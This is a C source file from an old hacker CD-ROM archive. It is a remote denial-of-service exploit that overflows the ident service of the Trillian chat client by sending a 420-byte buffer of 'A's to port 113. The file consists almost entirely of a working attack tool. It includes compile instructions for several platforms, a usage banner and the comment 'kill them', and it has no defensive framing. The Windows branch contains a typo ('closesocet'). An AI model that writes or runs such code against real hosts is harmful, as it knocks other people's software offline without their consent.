home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / trillident / trillident.c
Encoding:
C/C++ Source or Header  |  2002-10-21  |  4.6 KB  |  182 lines

  1.  
  2. /* Trillian .74, .73 remote DoS..  Trillian Pro 1.0                                                        
  3.  *    Exploits buffer overflow in ident when sending over
  4.  *    418 bytes. 
  5.  *
  6.  *    Really only works if people are on IRC (otherwise, the ident
  7.  *    daemon shuts down..  And you've got to know they are running
  8.  *    Trillian, obviously.
  9.  *
  10.  *    bug discovered by Lance Fitz-Herbert (aka phrizer) on 03 September 2002
  11.  *
  12.  *
  13.  * Compile With:
  14.  * Linux: gcc -o trillident trillident.c
  15.  * Solaris: gcc -o trillident trillident.c -lsocket -lnsl
  16.  * Windows: Windows: file -> open ->path_to_trilliandos.c , project->build executable
  17.  * NOT tested on windows.
  18.  
  19.                                     ZZZZZZZZZZZZZZZZZZZ
  20.                                     Z:::::::::::::::::Z
  21.                   nnnn  nnnnnnnn    Z:::::::::::::::::Z   ooooooooooo
  22.                   n:::nn::::::::nn  Z:::ZZZZZZZ::::::Z  oo:::::::::::oo
  23.      eeeeeeeeeee  n::::::::::::::nn ZZZZZ  * Z::::::Z  o:::::::::::::::o
  24.    ee:::::::::::eenn:::::::::::::::n      2 Z:::::Z    o:::::oooo::::::o
  25.   e:::::::::::::::een:::::nnnn:::::n     0 Z:::::Z     o::::o  o::o::::o
  26.  e::::::eeeee::::::en::::n    n::::n    0 Z:::::Z      o::::o o::oo::::o
  27.  e:::::e     e:::::en::::n    n::::n   2 Z:::::Z       o::::oo::o o::::o
  28.  e::::::eeeee::::::en::::n    n::::n  * Z:::::Z        o::::o::o  o::::o
  29.  e::::::::::::::::e n::::n    n::::n   Z:::::Z         o::::::oooo:::::o
  30.  e:::::eeeeeeeeeee  n::::n    n::::nZZZ:::::Z     ZZZZZo:::::::::::::::o
  31.  e::::::e           n::::n    n::::nZ::::::ZZZZZZZZ:::Z oo:::::::::::oo
  32.  e:::::::e          nnnnnn    nnnnnnZ:::::::::::::::::Z   ooooooooooo
  33.   e:::::::eeeeeeeeee                Z:::::::::::::::::Z
  34.    ee::::::::::::::e                ZZZZZZZZZZZZZZZZZZZ
  35.     ee:::::::::::::e             \... www.enz-o.org .../
  36.      eeeeeeeeeeeeee
  37.  
  38. (The above is radical ascii art.. Respect it. The below is a lame DoS. )
  39.  
  40. win32 stuff by xbud
  41. */
  42.  
  43. #ifdef _WIN32
  44. #include <winsock2.h> 
  45. #include <windows.h> /* remove on win2k */
  46. #include <stdio.h>
  47. #include <stdlib.h>
  48. #else
  49. #include <stdio.h>
  50. #include <string.h>
  51. #include <ctype.h>
  52. #include <stdlib.h>
  53. #include <sys/types.h>
  54. #include <sys/socket.h>
  55. #include <sys/time.h>
  56. #include <netdb.h>
  57. #include <netinet/in.h>
  58. #include <arpa/inet.h>
  59. #include <unistd.h>
  60. #endif
  61. #define ERR -1
  62.  
  63.  
  64.  
  65. void usage(char* argv0);
  66. int dostrill(char *ip, int port);
  67.  
  68. int main(int argc, char *argv[])
  69. {
  70.  
  71. extern int optopt;
  72. extern char *optarg;
  73. int errorflag = 0; /* did someone screw up? */
  74. int port = 113;    /* default port to use unless -p */
  75. int c;
  76. #ifdef _WIN32
  77.     WORD werd;
  78.     WSADATA wd;
  79.     werd=MAKEWORD(2,0);
  80.     WSAStartup(werd,&wd);
  81. #endif
  82.  
  83. if ((argc < 2) || (argc > 6))
  84.     usage(argv[0]);
  85.  
  86. while ((c=getopt(argc, argv, "vp:")) != EOF) {
  87.     switch(c) {
  88.         case 'p':
  89.             fprintf(stderr, "Using port %s\n", optarg);
  90.             port = strtol(optarg, NULL, 10);
  91.             break;
  92.         case 'v':
  93.             fprintf(stderr, "Trillian Ident DoS - [Sep 19, 2002]\n");
  94.             fprintf(stderr, "written by: netmask@enZo\n\n");
  95.             exit(0);
  96.         case ':':
  97.             fprintf(stderr, "Option -%c requires an operand\n", optopt);
  98.             errorflag++;
  99.             break;
  100.         case '?':
  101.             fprintf(stderr, "Unrecognized option: -%c\n", optopt);
  102.             errorflag++;
  103.  
  104.     }
  105. }
  106.  
  107. if (errorflag) {
  108.         usage(argv[0]);
  109. }
  110.  
  111. /* kill them */
  112.  
  113. dostrill(argv[argc-1], port);
  114. fprintf(stderr, "Finished!\n");
  115. return 0;
  116. } /* end main */
  117.  
  118. void usage(char* argv0)
  119. {
  120.     fprintf(stderr, "Trillian Ident DoS - [Sep 19, 2002]\n");
  121.     fprintf(stderr, "Written by: netmask@enZo\n\n");
  122.     fprintf(stderr, "Usage: %s [options] IP\n\n", argv0);
  123.     fprintf(stderr,
  124.             "-p \tPort to use\n"
  125.             "-v \tPrint the program info\n");
  126.     exit(1);
  127. }
  128.  
  129. int dostrill(char *ip, int port)
  130. {
  131.     int s, r;
  132.     char buf[420]; /* buffer to send */
  133.     
  134.     struct sockaddr_in addr;
  135.     struct hostent *hp;
  136.     memset((char *) &addr, '\0', sizeof(addr));
  137.     addr.sin_family = AF_INET;
  138.     addr.sin_addr.s_addr = inet_addr(ip);
  139.     addr.sin_port = htons(port);
  140.     memset(buf, 'A', 420);
  141.  
  142.  
  143.     if ((hp = gethostbyname(ip)) != NULL) {
  144.             if (hp->h_length > sizeof(addr.sin_addr)) {
  145.                 hp->h_length = sizeof(addr.sin_addr); }
  146.         memcpy((char *) &addr.sin_addr, hp->h_addr, hp->h_length);
  147.     }
  148.     else {
  149.         if ((addr.sin_addr.s_addr = inet_addr(ip)) < 0) {
  150.             return(0);
  151.              }
  152.     }
  153.  
  154.  
  155.  
  156.     s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  157.  
  158.     if (s == ERR) {
  159.             fprintf(stderr, "Couldn't Create Socket\n");
  160.             return 1;
  161.     }
  162.     
  163.     
  164.     r = connect(s, (struct sockaddr *) &addr, sizeof(addr));
  165.  
  166.     if (r == ERR) {
  167.             fprintf(stderr, "Couldn't Establish Connection\n");
  168.             return 1;
  169.     }
  170.  
  171.     fprintf(stderr, "Connected to %s and sending buffer\n\n", ip);
  172.     write(s, buf, strlen(buf)); /* send buffer */
  173. #ifdef _WIN32
  174.     closesocet(s);
  175. #else
  176.     close(s);
  177. #endif
  178.     return 0;
  179.     
  180.  
  181. }
  182.